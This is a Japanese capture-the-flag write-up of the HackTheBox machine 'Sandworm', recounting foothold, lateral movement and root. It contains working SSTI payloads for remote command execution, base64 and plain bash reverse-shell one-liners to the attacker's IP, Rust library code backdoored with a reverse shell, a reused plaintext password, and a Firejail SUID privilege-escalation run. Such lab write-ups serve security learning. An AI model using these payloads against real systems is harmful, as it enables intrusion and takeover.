今回はHackTheBoxのMediumマシン「Sandworm」のWriteUpです!
名前からして、明らかにサウンドボックス関連の技術が登場してきそうですが、どのようなマシンなのでしょうか!
グラフはかなり難しそうですね。。。
攻略目指して頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Sandworm
侵入
それでは侵入を開始しましょう。
まずはポートスキャンを実行します。
┌──(kali㉿kali)-[~/Desktop/Sandworm]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.218 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
22番と80番、443番を確認しました。
それでは、Webにアクセスしてみましょう。
サイトが表示されましたが、とくに気になる遷移は見つかりません。
とりあえず、ディレクトリ探索を行います。
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u https://ssa.htb/FUZZ | tee ffuf_dev.log
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ '
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : https://ssa.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 223ms]
* FUZZ: about
[Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 190ms]
* FUZZ: admin
[Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 235ms]
* FUZZ: contact
[Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 263ms]
* FUZZ: guide
[Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 224ms]
* FUZZ: login
[Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 249ms]
* FUZZ: logout
[Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 230ms]
* FUZZ: pgp
[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 200ms]
* FUZZ: process
[Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 217ms]
* FUZZ: view
:: Progress: [20476/20476] :: Job [1/1] :: 193 req/sec :: Duration: [0:02:10] :: Errors: 0 ::
いくつかディレクトリが表示されましたが、admin
が一番気になります。
アクセスしてみると、ログイン画面が表示されました。
いくつかのSQLインジェクション文字列と簡単な認証情報を試しましたが、ログインすることはできなかったので、他のディレクトリを見てみます。
guide
へアクセスしてみると、文字列を暗号化/復号できるようなページが表示されました。
サイトの中央あたりを確認すると、公開鍵と著名付きテキストを入力する欄があります。
どうやら、GPGキーが必要みたいなので、作成していきます。
$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: shoo
Name must be at least 5 characters long
Real name: shooq
Email address: pentest@test.com
You selected this USER-ID:
"shooq <pentest@test.com>"
これを使用し、署名付きのテキストを作成していきます。
次に、暗号化用の公開鍵を作成する必要があるので、作成していきます。
$ gpg --armor --export pentest@test.com > mykey.asc
公開鍵が作成できたので、暗号化するテキストを入力したファイルを用意しましょう。
$ echo 'test' > message.txt
ここまでで準備は完了です。実際に署名していきましょう。
$ gpg --clear-sign --output mykey_sign.asc message.txt
これによりmykey_sign.asc
に、署名付きテキストが作成されました。では、実際にWebに入力し、検証していきましょう。Public Key
はmykey.asc
で、Signed Text
はmykey_sign.asc
です。
出力を見てみると、GPGキーの作成時に入力したReal name
が出力されています。ユーザが制御できる出力を発見したので、ファジングが行えます。
GPGキーを作り直し、脆弱性を見つけるため、作成したキーを削除しましょう。
$ gpg --delete-secret-keys pentest@test.com
$ gpg --delete-keys pentest@test.com
削除が完了したので、脆弱性の調査を開始しました。
SSTI
色々試した結果、SSTIの脆弱性を発見しました。SSTIを発火させるペイロードはExploit Notesにも書かれているように複数ありますが、私が今回使用するのは、RCEの2つ目に書かれているものです。
それでは、ペイロードを使用して、GPGキーを作成していきましょう。
$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
Email address: pentest@test.com
You selected this USER-ID:
"{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }} <pentest@test.com>"
GPGキーを作成できたので、先ほどと同じ手順で署名付きのテキストを作成し、検証を行います。
idコマンドの実行を確認できました!
SSTIが発火することを確認したので、悪用することでシェルを取得できそうです。
リバースシェルを取得するためのペイロードもExploit Notesにまとめられています。今回はBase64エンコードしたものを使用します。
GPGキーを削除し、作り直します。
$ echo bash -c 'bash -i >& /dev/tcp/10.10.14.5/2121 0>&1' | base64
YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvMjEyMSAwPiYxCg==
$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvMjEyMSAwPiYxCg==" | base64 -d | bash').read() }}
Email address: pentest@test.com
You selected this USER-ID:
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvMjEyMSAwPiYxCg==" | base64 -d | bash').read() }} <pentest@test.com>"
ペイロードを入力出来たら、同じ手順で公開鍵と署名付きテキストを作成しましょう。
atlasとしてのシェル(サウンドボックス)
それでは、シェルを取得しましょう。
公開鍵と署名付きのテキストを入力し、検証をします。
$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.218] 58934
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
初期侵入に成功しました!!
横移動
atlasユーザではフラグを取得することができませんでした。
調査したところ、Firejailのファイルがあることから、どうやらサウンドボックス内にいるようです。やはりマシン名が関係していましたね。なので、横移動を狙います。まずは、どのようなユーザが存在するか見てみましょう。
atlas@sandworm:/home$ ls -la
total 12
drwxr-xr-x 4 nobody nogroup 4096 May 4 15:19 .
drwxr-xr-x 19 nobody nogroup 4096 Jun 7 13:53 ..
drwxr-xr-x 8 atlas atlas 4096 Jun 23 10:38 atlas
dr-------- 2 nobody nogroup 40 Jun 23 02:07 silentobserver
silentobserverユーザを発見しました!
silentobserverのディレクトリには権限がないので、atlasのホームディレクトリ内を探索してみます。
atlas@sandworm:~$ ls -la
total 56
drwxr-xr-x 8 atlas atlas 4096 Jun 23 10:38 .
drwxr-xr-x 4 nobody nogroup 4096 May 4 15:19 ..
lrwxrwxrwx 1 nobody nogroup 9 Nov 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas atlas 220 Nov 22 2022 .bash_logout
-rw-r--r-- 1 atlas atlas 3771 Nov 22 2022 .bashrc
drwxrwxr-x 2 atlas atlas 4096 Jun 6 08:49 .cache
drwxrwxr-x 3 atlas atlas 4096 Feb 7 10:30 .cargo
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 .config
-rwxrwxrwx 1 atlas atlas 7955 Jun 23 12:35 exploit.py
drwx------ 4 atlas atlas 4096 Jun 23 11:31 .gnupg
drwxrwxr-x 6 atlas atlas 4096 Feb 6 10:33 .local
-rw-r--r-- 1 atlas atlas 807 Nov 22 2022 .profile
drwx------ 2 atlas atlas 4096 Feb 6 10:34 .ssh
-rw------- 1 atlas atlas 711 Jun 23 10:38 .viminfo
exploit.pyというスクリプトがあります。どのようなスクリプトなのか簡単にみてみます。
atlas@sandworm:~$ cat exploit.py
cat exploit.py
#!/usr/bin/python3
import os
import shutil
import stat
import subprocess
・・・
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")
while True:
line = sys.stdin.readline()
if not line:
break
スクリプトの最後に、firejailとsuを実行することで権限昇格ができるといったコメントを出力しようとしていることがわかります。
では、試しに実行してみましょう。
atlas@sandworm:~$ python3 exploit.py
Traceback (most recent call last):
File "/home/atlas/exploit.py", line 136, in <module>
helper_proc, join_file = createHelperSandbox()
File "/home/atlas/exploit.py", line 58, in createHelperSandbox
proc = subprocess.Popen(
File "/usr/lib/python3.10/subprocess.py", line 969, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child
raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'firejail'
エラーが出力されました。firejailが見つからないようです。今のままではexploit.pyを実行することはできないようです。
では、他に怪しい点をみてみます。
ホームディレクトリ内で気になるのは、「.config」です。
atlas@sandworm:~/.config$ ls -l
total 4
dr-------- 2 nobody nogroup 40 Jun 23 02:07 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 httpie
firejailとhttpieを発見しました。firejailには権限がないので、httpieを見てみましょう。
atlas@sandworm:~/.config/httpie$ ls -l
total 4
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 sessions
sessionsの中もみてみます。
atlas@sandworm:~/.config/httpie/sessions$ ls -l
total 4
drwxrwx--- 2 nobody atlas 4096 May 4 17:30 localhost_5000
localhost_5000にもアクセスします。
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ ls -l
ls -l
total 4
-rw-r--r-- 1 nobody atlas 611 May 4 17:26 admin.json
かなり深くディレクトリを探索し、やっとadmin.jsonを発見しました。内容を見てみましょう。
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
silentobserverのパスワードを発見しました!
silentobserverとしてのシェル
それでは、先ほどの認証情報が、SSH接続で使用できるか試してみましょう。
$ ssh silentobserver@10.10.11.218
silentobserver@10.10.11.218s password:
silentobserver@sandworm:~$ whoami
silentobserver
横移動に成功しました!
silentobserver@sandworm:~$ ls -l
total 4
-rw-r----- 1 root silentobserver 33 Jun 23 02:07 user.txt
ユーザフラグも獲得できました!
サウンドボックスから抜け出すことに成功しました。
横移動
それでは、このままルートのシェルを目指します。(結果的に、まだルートのシェルは取得できません。)
まずは、お馴染みのsudoを実行してみます。
silentobserver@sandworm:~$ sudo -l
[sudo] password for silentobserver:
Sorry, user silentobserver may not run sudo on localhost.
silentobserverはsudoを実行できないようです。
本格的に権限昇格を調査していきましょう。まずは、pspy
を実行してみます。
2023/11/19 09:56:01 CMD: UID=0 PID=2543 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/11/19 09:56:01 CMD: UID=0 PID=2542 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
/opt/tipnet
上でrootがatlasとしてコマンドを実行させていることが分かりました。
実際に、/opt/tipnet
を見てみましょう。
silentobserver@sandworm:/opt/tipnet$ ls -la
total 108
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 .
drwxr-xr-x 4 root root 4096 Nov 19 09:54 ..
-rw-rw-r-- 1 atlas atlas 25383 Nov 19 09:54 access.log
-rw-r--r-- 1 root atlas 46161 May 4 2023 Cargo.lock
-rw-r--r-- 1 root atlas 288 May 4 2023 Cargo.toml
drwxr-xr-- 6 root atlas 4096 Jun 6 11:49 .git
-rwxr-xr-- 1 root atlas 8 Feb 8 2023 .gitignore
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 src
drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 target
いくつかのファイルとディレクトリがあります。さらに中を見てみましょう。
tipnet.d
を発見しました。
silentobserver@sandworm:/opt/tipnet/target/debug$ cat tipnet.d
/opt/tipnet/target/debug/tipnet: /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs
どうやら、/opt/crates/logger/src/lib.rs
と/opt/tipnet/src/main.rs
という2つのrustファイルが使用されているようです。それぞれ確認していきましょう。
silentobserver@sandworm:/opt/tipnet/src$ cat main.rs
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We dont spy on you... much.
struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
main.rs
には、ログの機能やSQLへの接続を行うコードが書かれていました。mysqlへの認証情報のようなものも見つかりましたが、今回は有効ではありません。
次にlib.rs
の内容を確認しようとしましたが、権限を確認したところ、lib.rs
には書き込み権限があることが分かりました。
silentobserver@sandworm:/opt/crates/logger/src$ ls -la
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 2023 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 lib.rs
書き込み権限があるということは、lib.rs
の内容をシェルを返すコマンドに変更することでリバースシェルを取得できます。
それでは、実際に変更していきましょう。lib.rs
は定期的に削除されるので、素早く変更する必要があります。
下記は変更後のコードです。
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let command = "bash -i >& /dev/tcp/10.10.14.5/2122 0>&1";
let output = Command::new("bash")
.arg("-c")
.arg(command)
.output()
.expect("not work");
if output.status.success() {
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
println!("standar output: {}", stdout);
println!("error output: {}", stderr);
} else {
let stderr = String::from_utf8_lossy(&output.stderr);
eprintln!("Error: {}", stderr);
}
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification", timestamp, user, query);
let mut file = match OpenOptions::new().append(true).create(true).open("log.txt") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
ファイルが変更出来たら、実行されるまで少し待ちましょう。
atlasとしてのシェル(マシン側)
コーヒーを飲んで少し落ち着いたら、シェルを確認してみましょう!
$ nc -lvnp 2122
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.218] 56242
bash: cannot set terminal process group (6586): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ whoami
whoami
atlas
サウンドボックスではないシェルを取得することが出来ました!
権限昇格
やっと、権限昇格のフェーズにたどり着きました!あと少し頑張りましょう!
一応sudoが使えるか見てみます。
atlas@sandworm:~$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
使えませんね。
では、次にSUIDビットを見てみます。
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
<er root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
-rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 338536 Nov 23 2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
-rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 72072 Nov 24 2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
-rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 44808 Nov 24 2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 72712 Nov 24 2022 /usr/bin/chfn
-rwsr-xr-x 1 root root 40496 Nov 24 2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
-rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
firejailにSUIDが付与されていることが分かります。少し不思議に思ったので、調べてみるとExploit Notesに権限昇格の方法が紹介されていました!
紹介されている通りに実行することで、権限昇格できそうです!
rootとしてのシェル
それでは実行してみましょう!
まずは、コマンドを実行できるようにするため、Ctl + Zでバックグラウンドに移行させます。
atlas@sandworm:~$ python3 exploit.py
You can now run 'firejail --join=22186' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
sudo su -
^Z
[1]+ Stopped python3 exploit.py
移行させることができたら、firejailを実行します。
atlas@sandworm:~$ firejail --join=22186
changing root to /proc/22186/root
Warning: cleaning all supplementary groups
Child process initialized in 12.64 ms
それでは、ルートになることができるかやってみましょう!
atlas@sandworm:~$ sudo su -
atlas is not in the sudoers file. This incident will be reported.
sudoは使えないようです。。使えないなら、rootを直接指定しましょう。
atlas@sandworm:~$ su root
root@sandworm:/home/atlas# whoami
root
権限昇格成功です!
root@sandworm:~# ls -l /root
total 20
drwxr-xr-x 4 root root 4096 May 5 08:59 Cleanup
-rw-r--r-- 1 root root 1326 May 4 18:03 domain.crt
-rw-r--r-- 1 root root 1094 May 4 18:02 domain.csr
-rw------- 1 root root 1704 May 4 18:01 domain.key
-rw-r----- 1 root root 33 Jun 23 02:07 root.txt
フラグも取得できました!完全攻略達成です〜!
攻略を終えて
今回のマシンはなかなか難しかったです。。特に最後のもう一度atlasユーザに戻る部分はサウンドボックスにもう一度入ってしまうのではないかと思い込んでしまい、中々試しませんでした。。冷静に考えると、マシン側で実行しているものなので、サウンドボックスに入るわけなかったです。。
初期シェルのGPGキー関連に関しては、普段あまり経験が無いGPGキーの生成でしたが、脆弱性自体の発火がわかりやすいこともあり特に苦戦はしませんでした。。
まさにMediumマシンといった難易度だったと思います。
やはり、認証情報をハードコードしておくことは危険しか呼ばないので気を付ける必要がありますね!
今後もHackTheBox関連の記事を挙げていくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!